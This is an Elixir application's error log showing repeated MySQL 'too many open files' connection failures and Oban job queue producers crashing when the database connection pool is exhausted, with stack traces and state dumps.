[Sun Sep  6 00:21:32.443000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:35.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:37.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:41.214000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:41.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:42.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:21:31.242902Z], limit: 5, uuid: "e5d5233f-06fc-4bd0-84dc-e4b3543c6bfd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:31.242907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32740>, refresh_timer: #Reference<0.2525715032.1068498948.55660>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:21:31.240062Z], limit: 20, uuid: "0efd1700-847e-4527-9647-e60937da5646", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:31.240067Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32738>, refresh_timer: #Reference<0.2525715032.1077673987.32696>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:21:31.239590Z], limit: 3, uuid: "680126aa-43c3-425a-8668-e4f226d2a711", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:31.239596Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.183308>, refresh_timer: #Reference<0.2525715032.1077673987.32688>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:21:31.241031Z], limit: 10, uuid: "0cb57ab0-fd6b-4d9a-9c0c-4e480aea22fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:31.241037Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32739>, refresh_timer: #Reference<0.2525715032.1077673987.32719>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:21:31.240657Z], limit: 50, uuid: "ee3a0e98-d6b9-44af-8815-d989224a0b46", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:31.240663Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56334>, refresh_timer: #Reference<0.2525715032.1099431938.56318>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:21:31.241319Z], limit: 5, uuid: "7f54b264-3599-4ee1-80d1-86462b87b8db", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:31.241325Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55661>, refresh_timer: #Reference<0.2525715032.1121189889.183299>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:44.088000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:46.809000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:50.560000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:50.841000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:51.844000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:51.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:53.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:21:43.246246Z], limit: 5, uuid: "18415590-b34e-47f3-9b54-c79f56fc25bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:43.246252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55835>, refresh_timer: #Reference<0.2525715032.1068498948.55834>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:21:43.240257Z], limit: 3, uuid: "3eb3df46-a624-49f7-8ef5-cf6bbe2e065c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:43.240266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.183715>, refresh_timer: #Reference<0.2525715032.1121189889.183696>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
